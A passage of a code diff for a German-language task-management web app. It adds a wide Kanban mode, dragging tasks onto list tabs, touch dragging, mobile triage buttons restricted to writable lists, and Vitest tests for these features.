+  // Wide Kanban: the board takes the whole window and shows every column in one row
+  const [kanbanWide, setKanbanWide] = useState(() => {
+    try {
+      return localStorage.getItem(KANBAN_WIDE_KEY) === '1';
+    } catch {
+      return false;
+    }
+  });
+  const toggleKanbanWide = () => {
+    const next = !kanbanWide;
+    setKanbanWide(next);
+    try {
+      localStorage.setItem(KANBAN_WIDE_KEY, next ? '1' : '0');
+    } catch {
+      // only a convenience
+    }
+  };
+  const isKanbanWide = viewMode === 'kanban' && kanbanWide;
   const [filter, setFilter] = useState<'open' | 'done' | 'discarded'>('open');
   const [tasks, setTasks] = useState<Thought[]>([]);
   const [taskLists, setTaskLists] = useState<TaskList[]>([]);
-  const [selectedListId, setSelectedListId] = useState<string>('all');
+  const [selectedListId, setSelectedListId] = useState<string>(
+    () => readViewSession<TasksSession>('tasks').listId || 'all'
+  );
+  useEffect(() => {
+    writeViewSession<TasksSession>('tasks', { listId: selectedListId, viewMode });
+  }, [selectedListId, viewMode]);
   const [teams, setTeams] = useState<Team[]>([]);
   const [collaborators, setCollaborators] = useState<User[]>([]);
   const [discarded, setDiscarded] = useState<Thought[]>([]);
@@ -68,6 +133,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
   const [draggingTaskId, setDraggingTaskId] = useState<string | null>(null);
   const [dragOverTaskTarget, setDragOverTaskTarget] = useState<{ taskId: string; position: 'before' | 'after' } | null>(null);
   const [dragOverKanbanCol, setDragOverKanbanCol] = useState<string | null>(null);
+  // List tab a dragged task hovers over (dropping moves it into that list)
+  const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
 
   // Quick Task Add state
   const [quickTitle, setQuickTitle] = useState('');
@@ -147,6 +214,10 @@ export const TasksView: React.FC<TasksViewProps> = ({
       loadedListRef.current = listId;
       setTasks(Array.isArray(allTasks) ? allTasks : []);
       setTaskLists(Array.isArray(allLists) ? allLists : []);
+      // The remembered list was deleted or unshared meanwhile
+      if (listId !== 'all' && Array.isArray(allLists) && !allLists.some((l) => l.id === listId)) {
+        setSelectedListId('all');
+      }
       setTeams(Array.isArray(allTeams) ? allTeams : []);
       setCollaborators(Array.isArray(allCollabs) ? allCollabs : []);
       setDiscarded(Array.isArray(allDiscarded) ? allDiscarded : []);
@@ -175,13 +246,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
 
       if (msg.event === 'TASK_CREATED') {
         const created = msg.payload as Thought;
-        if (
-          created &&
-          (created.status === 'converted' ||
-            created.kanbanStatus ||
-            created.taskListId ||
-            created.isCompleted !== undefined)
-        ) {
+        if (created && isTaskThought(created)) {
           setTasks((prev) => {
             if (prev.some((t) => t.id === created.id)) return prev;
             if (selectedListIdRef.current !== 'all' && created.taskListId !== selectedListIdRef.current) return prev;
@@ -196,17 +261,18 @@ export const TasksView: React.FC<TasksViewProps> = ({
             const exists = prev.some((t) => t.id === updated.id);
             if (!exists) {
               if (
-                (updated.status === 'converted' ||
-                  updated.kanbanStatus ||
-                  updated.taskListId ||
-                  updated.isCompleted !== undefined) &&
+                isTaskThought(updated) &&
                 (selectedListIdRef.current === 'all' || updated.taskListId === selectedListIdRef.current)
               ) {
                 return [updated, ...prev];
               }
               return prev;
             }
-            if (selectedListIdRef.current !== 'all' && updated.taskListId !== selectedListIdRef.current) {
+            // Undone back into the Quick Dump, discarded, or moved to another list
+            if (
+              !isTaskThought(updated) ||
+              (selectedListIdRef.current !== 'all' && updated.taskListId !== selectedListIdRef.current)
+            ) {
               return prev.filter((t) => t.id !== updated.id);
             }
             return prev.map((t) => (t.id === updated.id ? updated : t));
@@ -497,6 +563,35 @@ export const TasksView: React.FC<TasksViewProps> = ({
     onRefreshStats();
   };
 
+  // A task dragged onto a list tab lands in that list like a new task: it keeps its Kanban status
+  // if the list has that column, otherwise it starts in the list's first column
+  const handleDropOnListTab = async (e: React.DragEvent, list: TaskList) => {
+    e.preventDefault();
+    const sourceId = e.dataTransfer.getData('application/mindsift-task-id') || draggingTaskId;
+    setDraggingTaskId(null);
+    setDragOverTaskTarget(null);
+    setDragOverKanbanCol(null);
+    setDragOverListTab(null);
+    const task = tasks.find((t) => t.id === sourceId);
+    if (!task || task.taskListId === list.id || list.permission === 'viewer') return;
+    triggerHaptic(15);
+    const columns = Array.isArray(list.columns) && list.columns.length > 0 ? list.columns : globalColumns;
+    const keepStatus = !task.kanbanStatus || columns.some((c) => c.id === task.kanbanStatus);
+    const kanbanStatus = keepStatus ? task.kanbanStatus : (columns.find((c) => !c.isDone) || columns[0])?.id;
+    setTasks((prev) =>
+      selectedListId !== 'all'
+        ? prev.filter((t) => t.id !== task.id)
+        : prev.map((t) => (t.id === task.id ? { ...t, taskListId: list.id, kanbanStatus } : t))
+    );
+    try {
+      await api.updateThought(task.id, { taskListId: list.id, ...(keepStatus ? {} : { kanbanStatus }) });
+    } catch {
+      loadData();
+    }
+    api.getTaskLists().then((lists) => setTaskLists(Array.isArray(lists) ? lists : [])).catch(() => {});
+    onRefreshStats();
+  };
+
   const handleUpdateTaskNotes = async (task: Thought, newNotes: string) => {
     setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, notes: newNotes } : t)));
     await api.updateThought(task.id, { notes: newNotes });
@@ -713,7 +808,11 @@ export const TasksView: React.FC<TasksViewProps> = ({
     setDraggingTaskId(null);
     setDragOverTaskTarget(null);
     setDragOverKanbanCol(null);
+    await moveTaskNextTo(sourceId, targetTask, position, newKanbanCol);
+  };
 
+  // Shared by mouse drag & drop and the touch drag on the Kanban board
+  const moveTaskNextTo = async (sourceId: string | null, targetTask: Thought, position: 'before' | 'after', newKanbanCol?: string) => {
     if (!sourceId || sourceId === targetTask.id) return;
     triggerHaptic(15);
 
@@ -770,7 +869,10 @@ export const TasksView: React.FC<TasksViewProps> = ({
     setDraggingTaskId(null);
     setDragOverTaskTarget(null);
     setDragOverKanbanCol(null);
+    await moveTaskToColumn(sourceId, colId);
+  };
 
+  const moveTaskToColumn = async (sourceId: string | null, colId: string) => {
     if (!sourceId) return;
     triggerHaptic(15);
 
@@ -811,6 +913,28 @@ export const TasksView: React.FC<TasksViewProps> = ({
     }
   };
 
+  // Kanban with a finger: hold a card, drag it, let go (mouse and pen use HTML5 drag & drop)
+  const clearDragState = () => {
+    setDraggingTaskId(null);
+    setDragOverTaskTarget(null);
+    setDragOverKanbanCol(null);
+  };
+  const kanbanTouch = useKanbanTouchDrag({
+    enabled: !canDragTasks && viewMode === 'kanban',
+    onStart: (taskId) => setDraggingTaskId(taskId),
+    onHover: (colId, target) => {
+      setDragOverKanbanCol(colId);
+      setDragOverTaskTarget(target);
+    },
+    onDrop: (taskId, colId, target) => {
+      clearDragState();
+      const targetTask = target ? tasks.find((t) => t.id === target.taskId) : undefined;
+      if (targetTask && target) void moveTaskNextTo(taskId, targetTask, target.position, colId ?? undefined);
+      else if (colId) void moveTaskToColumn(taskId, colId);
+    },
+    onCancel: clearDragState,
+  });
+
   const handleCreateTaskList = async (e: React.FormEvent) => {
     e.preventDefault();
     const title = newListTitle.trim();
@@ -1093,12 +1217,13 @@ export const TasksView: React.FC<TasksViewProps> = ({
     return (
       <div
         key={task.id}
-        draggable={!readOnly}
+        draggable={canDragTasks && !readOnly}
         onDragStart={(e) => handleTaskDragStart(e, task)}
         onDragEnd={() => {
           setDraggingTaskId(null);
           setDragOverTaskTarget(null);
           setDragOverKanbanCol(null);
+          setDragOverListTab(null);
         }}
         onDragOver={(e) => handleTaskDragOver(e, task.id)}
         onDragLeave={(e) => handleTaskDragLeave(e, task.id)}
@@ -1143,13 +1268,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
           </button>
 
           {/* Clickable Title & Metadata */}
-          <div
-            onClick={() => {
-              setDetailTaskId(task.id);
-              setShowDetailModal(true);
-            }}
-            className="min-w-0 flex-1 cursor-pointer space-y-1"
-          >
+          <div className="min-w-0 flex-1 cursor-pointer space-y-1">
             <div className="flex items-center gap-2 flex-wrap">
               <p
                 className={`text-sm break-words leading-tight ${
@@ -1166,7 +1285,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
             {/* Interactive Badges Bar */}
             <div
               className="flex flex-wrap items-center gap-1.5 pt-0.5 empty:hidden"
-              onClick={(e) => e.stopPropagation()}
+              onClick={stopOnControl}
             >
               {(task.convertedType === 'document_block' || task.docId) && (
                 <button
@@ -1353,9 +1472,20 @@ export const TasksView: React.FC<TasksViewProps> = ({
           {safeTaskLists.map((tl) => (
             <div
               key={tl.id}
+              onDragOver={(e) => {
+                const task = draggingTaskId ? tasks.find((t) => t.id === draggingTaskId) : null;
+                if (!task || task.taskListId === tl.id || tl.permission === 'viewer') return;
+                e.preventDefault();
+                e.dataTransfer.dropEffect = 'move';
+                if (dragOverListTab !== tl.id) setDragOverListTab(tl.id);
+              }}
+              onDragLeave={() => {
+                if (dragOverListTab === tl.id) setDragOverListTab(null);
+              }}
+              onDrop={(e) => handleDropOnListTab(e, tl)}
               className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
                 selectedListId === tl.id ? 'bg-panel border-accent text-main pr-1' : 'bg-canvas border-border text-muted hover:text-main'
-              }`}
+              } ${dragOverListTab === tl.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''}`}
             >
               <button
                 onClick={() => setSelectedListId(tl.id)}
@@ -1489,7 +1619,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
       </div>
 
       {/* Mobile Compact Context Bar (replaces cluttered button rows; options live in MindSift Logo Menu) */}
-      <div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0">
+      {/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
+      <div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
         <div className="flex items-center gap-2 min-w-0">
           <span className="text-sm font-semibold text-main truncate">
             {currentSelectedList ? `${currentSelectedList.icon} ${currentSelectedList.title}` : '📋 Alle Aufgaben'}
@@ -1646,7 +1777,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
         {/* Group By & Sort By Dropdowns & Manage Columns button */}
         <div className="flex items-center gap-2 flex-shrink-0 ml-auto">
           {viewMode === 'kanban' ? (
-            !isSelectedListReadOnly && (
+            <>
+              {!isSelectedListReadOnly && (
                 <button
                   onClick={() => setShowManageColumnsModal(true)}
                   className="btn-action h-7 px-2.5 text-xs flex items-center gap-1.5"
@@ -1655,7 +1787,21 @@ export const TasksView: React.FC<TasksViewProps> = ({
                   <Columns className="w-3.5 h-3.5 text-accent" />
                   <span>Spalten anpassen</span>
                 </button>
-            )
+              )}
+              <button
+                type="button"
+                onClick={toggleKanbanWide}
+                aria-pressed={kanbanWide}
+                className="btn-action h-7 w-7 p-0 hidden lg:inline-flex items-center justify-center"
+                title={kanbanWide ? 'Board wieder normal breit' : 'Board auf volle Breite strecken'}
+              >
+                {kanbanWide ? (
+                  <Minimize2 className="w-3.5 h-3.5 text-accent" />
+                ) : (
+                  <Maximize2 className="w-3.5 h-3.5 text-accent" />
+                )}
+              </button>
+            </>
           ) : (
             <>
               {/* Group By */}
@@ -2108,7 +2254,13 @@ export const TasksView: React.FC<TasksViewProps> = ({
       {viewMode === 'kanban' ? (
         /* DYNAMIC KANBAN BOARD */
         <div className="space-y-2">
-          <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-3 pt-1">
+          {kanbanTouch.ghost}
+          <div
+            className={`grid grid-cols-1 md:grid-cols-2 gap-3 pt-1 lg:w-[var(--kanban-w)] lg:ml-[var(--kanban-ml)] transition-[width,margin] duration-300 ease-out ${
+              isKanbanWide ? 'lg:grid-cols-[repeat(var(--kanban-cols),minmax(0,1fr))]' : 'lg:grid-cols-4'
+            }`}
+            style={kanbanBoardStyle(isKanbanWide, activeColumns.length)}
+          >
             {activeColumns.map((col, colIdx) => {
               const colTasks = kanbanTasks.filter((t) => {
                 if (col.isDone) {
@@ -2130,7 +2282,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
                     if (dragOverKanbanCol === col.id) setDragOverKanbanCol(null);
                   }}
                   onDrop={(e) => handleDropOnKanbanCol(e, col.id)}
-                  className={`bg-canvas border border-border flex flex-col min-h-[420px] transition-all ${
+                  data-kanban-col={col.id}
+                  className={`bg-canvas border border-border flex flex-col min-h-[420px] overflow-hidden transition-all ${
                     dragOverKanbanCol === col.id ? 'ring-2 ring-accent/60 bg-accent/5' : ''
                   }`}
                 >
@@ -2163,21 +2316,25 @@ export const TasksView: React.FC<TasksViewProps> = ({
                       return (
                         <div
                           key={task.id}
-                          draggable={!readOnly}
+                          draggable={canDragTasks && !readOnly}
                           onDragStart={(e) => handleTaskDragStart(e, task)}
                           onDragEnd={() => {
                             setDraggingTaskId(null);
                             setDragOverTaskTarget(null);
                             setDragOverKanbanCol(null);
+                            setDragOverListTab(null);
                           }}
                           onDragOver={(e) => handleTaskDragOver(e, task.id)}
                           onDragLeave={(e) => handleTaskDragLeave(e, task.id)}
                           onDrop={(e) => handleDropOnTask(e, task, col.id)}
+                          data-kanban-task={task.id}
+                          {...kanbanTouch.cardProps(task.id, task.content, !readOnly)}
                           onClick={() => {
+                            if (kanbanTouch.consumeClick()) return;
                             setDetailTaskId(task.id);
                             setShowDetailModal(true);
                           }}
-                          className={`panel-surface p-2.5 space-y-2 hover:border-strong transition-all shadow-sm group relative ${
+                          className={`panel-surface p-2.5 space-y-2 hover:border-strong transition-all shadow-sm group relative select-none ${
                             readOnly ? 'cursor-pointer' : 'cursor-grab active:cursor-grabbing'
                           } ${
                             isDragging ? 'opacity-30 border border-dashed border-accent/40' : ''
@@ -2230,7 +2387,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
                         )}
 
                         {/* Badges: In Notiz, Priority, Status, Tags */}
-                        <div className="flex flex-wrap items-center gap-1 pt-0.5" onClick={(e) => e.stopPropagation()}>
+                        <div className="flex flex-wrap items-center gap-1 pt-0.5" onClick={stopOnControl}>
                           {(task.convertedType === 'document_block' || task.docId) && (
                             <button
                               type="button"
@@ -2315,7 +2472,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
                         {!readOnly && (
                         <div
                           className="flex items-center justify-between pt-1 border-t border-border text-[10px]"
-                          onClick={(e) => e.stopPropagation()}
+                          onClick={stopOnControl}
                         >
                           <button
                             type="button"

frontend/src/features/triage/TriageDeck.tsx

@@ -18,6 +18,9 @@ import {
   Edit3,
   Layers,
   MoreHorizontal,
+  ArrowLeft,
+  ArrowRight,
+  ChevronDown,
 } from 'lucide-react';
 import { SharedList, Thought } from '../../lib/types';
 import { addDays, formatDue } from '../../lib/due';
@@ -221,9 +224,15 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
   onDeckChange,
   onFocusCapture,
 }) => {
+  const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
+  const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
+
   const [cards, setCards] = useState<Thought[]>(deck);
   const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
   const [showDateModal, setShowDateModal] = useState(false);
+  // Phones: the waiting queue is folded until asked for
+  const [showQueueMobile, setShowQueueMobile] = useState(false);
+  const queueRef = useRef<HTMLDivElement | null>(null);
   const [taskDueDate, setTaskDueDate] = useState(() => addDays(1));
   const [showListSelector, setShowListSelector] = useState(false);
 
@@ -702,8 +711,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
             Quick Dump direkt einer Liste zuordnen:
           </p>
           <div className="flex flex-wrap gap-1.5">
-            {lists.length > 0 ? (
-              lists.map((lst) => (
+            {writableLists.length > 0 ? (
+              writableLists.map((lst) => (
                 <button
                   key={lst.id}
                   onClick={() =>
@@ -722,7 +731,103 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
         </div>
       )}
 
-      {/* Primary Triage Decision Bar: Hidden on mobile (handled via Swipe + Long-Press), shown on Desktop */}
+      {/* Phones: the swipe actions on top (← discard, → task), below a 2×2 block like the long-press sheet */}
+      <div className="sm:hidden space-y-2">
+        <div className="grid grid-cols-2 gap-2">
+          <button
+            type="button"
+            onClick={() => handleAction('discard')}
+            className="min-h-[52px] px-3 py-2 rounded-xl bg-status-err-bg border border-status-err/30 text-status-err text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
+          >
+            <ArrowLeft className="w-4 h-4" />
+            <span>Wegwerfen</span>
+          </button>
+          <button
+            type="button"
+            onClick={() => handleAction('keep', { convertTo: 'task' })}
+            className="min-h-[52px] px-3 py-2 rounded-xl bg-accent text-on-accent text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
+          >
+            <span>Aufgabe</span>
+            <ArrowRight className="w-4 h-4" />
+          </button>
+        </div>
+
+        <div className="grid grid-cols-2 gap-2">
+          <button
+            type="button"
+            disabled={writableLists.length === 0}
+            onClick={() => {
+              if (singleWritableList) {
+                handleAction('keep', { convertTo: 'list_item', targetListId: singleWritableList.id });
+                return;
+              }
+              // Phones: the list choice of the bottom sheet (the inline choice above is desktop-only)
+              if (!activeCard) return;
+              openActionSheetForCard(activeCard);
+              setSheetMode('list');
+            }}
+            className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${
+              writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
+            }`}
+          >
+            <ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
+            <div className="min-w-0">
+              <div className="text-sm font-semibold text-main">Auf Liste</div>
+              <div className="text-[11px] text-muted truncate">
+                {writableLists.length === 0
+                  ? 'Keine Liste vorhanden'
+                  : singleWritableList
+                  ? singleWritableList.title
+                  : 'Einkauf / Geteilt'}
+              </div>
+            </div>
+          </button>
+
+          <button
+            type="button"
+            onClick={() => {
+              // Phones: the date choice of the bottom sheet (the inline one above is desktop-only)
+              if (!activeCard) return;
+              openActionSheetForCard(activeCard);
+              setSheetMode('date');
+            }}
+            className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation"
+          >
+            <Calendar className="w-5 h-5 text-accent flex-shrink-0" />
+            <div>
+              <div className="text-sm font-semibold text-main">Mit Termin</div>
+              <div className="text-[11px] text-muted">Datum wählen</div>
+            </div>
+          </button>
+
+          <button
+            type="button"
+            onClick={() => handleAction('keep', { convertTo: 'document' })}
+            className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation"
+          >
+            <FileText className="w-5 h-5 text-accent flex-shrink-0" />
+            <div>
+              <div className="text-sm font-semibold text-main">Als Notiz</div>
+              <div className="text-[11px] text-muted">Im Workspace</div>
+            </div>
+          </button>
+
+          <button
+            type="button"
+            disabled={cards.length <= 1}
+            onClick={() => handleSkipCard()}
+            className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${cards.length <= 1 ? 'opacity-40 cursor-not-allowed' : ''}`}
+          >
+            <SkipForward className="w-5 h-5 text-muted flex-shrink-0" />
+            <div>
+              <div className="text-sm font-semibold text-main">Später</div>
+              <div className="text-[11px] text-muted">Ans Ende schieben</div>
+            </div>
+          </button>
+        </div>
+      </div>
+
+      {/* Primary Triage Decision Bar: Hidden on mobile (handled via Mobile Quick Actions / Swipe), shown on Desktop */}
       <div className="hidden sm:flex items-center gap-1.5">
         <button
           onClick={() => handleAction('discard')}
@@ -746,17 +851,36 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
         </button>
 
         <button
+          disabled={writableLists.length === 0}
           onClick={() => {
+            if (singleWritableList) {
+              handleAction('keep', {
+                convertTo: 'list_item',
+                targetListId: singleWritableList.id,
+              });
+              return;
+            }
             setShowDateModal(false);
             setShowListSelector((prev) => !prev);
           }}
-          title="Auf eine geteilte Liste setzen"
-          className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
-            showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
+          title={
+            writableLists.length === 0
+              ? 'Keine Liste vorhanden'
+              : singleWritableList
+              ? `Auf ${singleWritableList.title}`
+              : 'Auf eine geteilte Liste setzen'
+          }
+          className={`btn-action flex-1 min-w-0 h-9 px-3 justify-center whitespace-nowrap ${
+            writableLists.length === 0
+              ? 'opacity-40 cursor-not-allowed'
+              : showListSelector
+              ? 'border-accent text-accent bg-accent-dim'
+              : ''
           }`}
         >
           <ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
-          <span>Auf Liste</span>
+          {/* A long list name is cut off (full name in the tooltip), so the bar never grows wider than the card */}
+          <span className="truncate">{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
         </button>
 
         <button
@@ -794,8 +918,36 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
 
       {/* Waiting Quick Dump Queue List (Touch-sized & Swipeable Left/Right) */}
       {cards.length > 1 && (
-        <div className="pt-2">
-          <div className="flex items-center justify-between mb-2 px-1">
+        <div className="pt-2" ref={queueRef}>
+          {/* Phones: the queue stays folded so the card and its buttons fit on the screen */}
+          <button
+            type="button"
+            aria-expanded={showQueueMobile}
+            onClick={() => {
+              const opening = !showQueueMobile;
+              setShowQueueMobile(opening);
+              if (opening) {
+                window.setTimeout(() => queueRef.current?.scrollIntoView({ behavior: 'smooth', block: 'start' }), 320);
+              }
+            }}
+            className="sm:hidden w-full min-h-[48px] px-3 rounded-xl border border-border bg-panel text-sm font-medium text-main flex items-center justify-center gap-2 touch-manipulation cursor-pointer"
+          >
+            <Layers className="w-4 h-4 text-accent" />
+            <span>
+              Warteschlange {showQueueMobile ? 'ausblenden' : 'anzeigen'} ({cards.length - 1})
+            </span>
+            <ChevronDown
+              className={`w-4 h-4 text-muted transition-transform duration-300 ${showQueueMobile ? 'rotate-180' : ''}`}
+            />
+          </button>
+          {/* Folds open/closed on phones; always open from sm upwards */}
+          <div
+            className={`grid transition-[grid-template-rows,opacity,visibility] duration-300 ease-out sm:grid-rows-[1fr] sm:opacity-100 sm:visible ${
+              showQueueMobile ? 'grid-rows-[1fr] opacity-100 visible' : 'grid-rows-[0fr] opacity-0 invisible'
+            }`}
+          >
+            <div className="overflow-hidden min-h-0">
+              <div className="flex items-center justify-between mb-2 px-1 pt-2 sm:pt-0">
                 <span className="text-xs font-semibold uppercase tracking-wider text-muted flex items-center gap-1.5">
                   <Layers className="w-3.5 h-3.5 text-accent" />
                   Warteschlange ({cards.length - 1})
@@ -810,7 +962,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
                   <SwipeableQueueItem
                     key={item.id}
                     item={item}
-                lists={lists}
+                    lists={writableLists}
                     onBringToFront={handleBringToFront}
                     onOpenActionSheet={openActionSheetForCard}
                     onAction={handleAction}
@@ -818,6 +970,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
                 ))}
               </div>
             </div>
+          </div>
+        </div>
       )}
 
       {/* LONG-PRESS / MORE OPTIONS ACTION SHEET (For Triage Card & Queue Items) */}
@@ -854,13 +1008,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
                 <div className="grid grid-cols-2 gap-2">
                   <button
                     type="button"
-                    onClick={() => setSheetMode('list')}
-                    className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
+                    disabled={writableLists.length === 0}
+                    onClick={() => {
+                      if (singleWritableList) {
+                        handleAction('keep', {
+                          convertTo: 'list_item',
+                          targetListId: singleWritableList.id,
+                          thoughtOverride: actionSheetCard,
+                        });
+                        return;
+                      }
+                      setSheetMode('list');
+                    }}
+                    title={
+                      writableLists.length === 0
+                        ? 'Keine Liste vorhanden'
+                        : singleWritableList
+                        ? `Auf ${singleWritableList.title}`
+                        : 'Auf Liste setzen'
+                    }
+                    className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
+                      writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
+                    }`}
                   >
                     <ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
-                    <div>
+                    <div className="min-w-0">
                       <div className="text-sm font-semibold text-main">Auf Liste</div>
-                      <div className="text-[11px] text-muted">Einkauf / Geteilt</div>
+                      <div className="text-[11px] text-muted truncate">
+                        {writableLists.length === 0
+                          ? 'Keine Liste vorhanden'
+                          : singleWritableList
+                          ? singleWritableList.title
+                          : 'Einkauf / Geteilt'}
+                      </div>
                     </div>
                   </button>
 
@@ -999,8 +1179,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
                   Auf welche Liste soll dieser Punkt gesetzt werden?
                 </p>
                 <div className="max-h-60 overflow-y-auto space-y-1.5">
-                  {lists.length > 0 ? (
-                    lists.map((lst) => (
+                  {writableLists.length > 0 ? (
+                    writableLists.map((lst) => (
                       <button
                         key={lst.id}
                         type="button"

frontend/src/features/triage/__tests__/TaskDetailModal.test.tsx

@@ -1,6 +1,7 @@
 import { describe, it, expect, vi } from 'vitest';
-import { render, screen, fireEvent } from '@testing-library/react';
+import { render, screen, fireEvent, waitFor } from '@testing-library/react';
 import { TaskDetailModal } from '../TaskDetailModal';
+import { api } from '../../../lib/api';
 import { Thought } from '../../../lib/types';
 
 const task: Thought = {
@@ -67,4 +68,20 @@ describe('TaskDetailModal', () => {
     expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
     expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
   });
+
+  it('toggles watching a task via POST and DELETE /tasks/{id}/watch', async () => {
+    const watchSpy = vi.spyOn(api, 'watchTask').mockResolvedValue({ watching: true });
+    const unwatchSpy = vi.spyOn(api, 'unwatchTask').mockResolvedValue({ watching: false });
+
+    render(<TaskDetailModal {...props({ task: { ...task, isWatching: false } })} />);
+    const btn = screen.getByRole('button', { name: 'Beobachten' });
+    fireEvent.click(btn);
+
+    await waitFor(() => expect(watchSpy).toHaveBeenCalledWith('th_1'));
+    expect(screen.getByRole('button', { name: 'Nicht mehr beobachten' })).toBeTruthy();
+
+    fireEvent.click(screen.getByRole('button', { name: 'Nicht mehr beobachten' }));
+    await waitFor(() => expect(unwatchSpy).toHaveBeenCalledWith('th_1'));
+    expect(screen.getByRole('button', { name: 'Beobachten' })).toBeTruthy();
+  });
 });

frontend/src/features/triage/__tests__/TriageDeck.lists.test.tsx

@@ -0,0 +1,185 @@
+import React from 'react';
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent, waitFor } from '@testing-library/react';
+import { TriageDeck } from '../TriageDeck';
+import { api } from '../../../lib/api';
+import { SharedList, Thought } from '../../../lib/types';
+
+const sampleDeck: Thought[] = [
+  {
+    id: 'th_1',
+    userId: 'u_1',
+    content: 'Hafermilch und Kaffeebohnen',
+    status: 'inbox',
+    priority: 'normal',
+    source: 'manual',
+    isCompleted: false,
+    tags: [],
+    createdAt: '2026-10-29T10:00:00Z',
+  },
+];
+
+const ownList: SharedList = {
+  id: 'lst_own',
+  title: 'Wocheneinkauf',
+  icon: '🛒',
+  listType: 'shopping',
+  isOwner: true,
+  role: 'owner',
+  items: [],
+  createdAt: '2026-10-29T10:00:00Z',
+  updatedAt: '2026-10-29T10:00:00Z',
+};
+
+const secondEditableList: SharedList = {
+  id: 'lst_edit',
+  title: 'Baumarkt',
+  icon: '🔨',
+  listType: 'checklist',
+  isOwner: false,
+  role: 'editor',
+  items: [],
+  createdAt: '2026-10-29T10:00:00Z',
+  updatedAt: '2026-10-29T10:00:00Z',
+};
+
+const viewerList: SharedList = {
+  id: 'lst_view',
+  title: 'WG-Archiv',
+  icon: '📋',
+  listType: 'checklist',
+  isOwner: false,
+  role: 'viewer',
+  items: [],
+  createdAt: '2026-10-29T10:00:00Z',
+  updatedAt: '2026-10-29T10:00:00Z',
+};
+
+describe('TriageDeck single-list shortcut', () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
+  });
+
+  it('directly assigns to the single own list without opening the selector', async () => {
+    const onDeckChange = vi.fn();
+
+    render(
+      <TriageDeck
+        deck={sampleDeck}
+        lists={[ownList]}
+        onDeckChange={onDeckChange}
+        onOpenDocument={vi.fn()}
+        onFocusCapture={vi.fn()}
+      />
+    );
+
+    const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
+    expect((btn as HTMLButtonElement).disabled).toBe(false);
+
+    fireEvent.click(btn);
+
+    await waitFor(() => {
+      expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
+        convertTo: 'list_item',
+        targetListId: 'lst_own',
+        dueDate: undefined,
+      });
+      expect(onDeckChange).toHaveBeenCalledTimes(1);
+    });
+    expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
+  });
+
+  it('opens the list selector when two writable lists exist instead of assigning directly', () => {
+    const onDeckChange = vi.fn();
+
+    render(
+      <TriageDeck
+        deck={sampleDeck}
+        lists={[ownList, secondEditableList]}
+        onDeckChange={onDeckChange}
+        onOpenDocument={vi.fn()}
+        onFocusCapture={vi.fn()}
+      />
+    );
+
+    const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
+    fireEvent.click(btn);
+
+    expect(api.triageAction).not.toHaveBeenCalled();
+    expect(onDeckChange).not.toHaveBeenCalled();
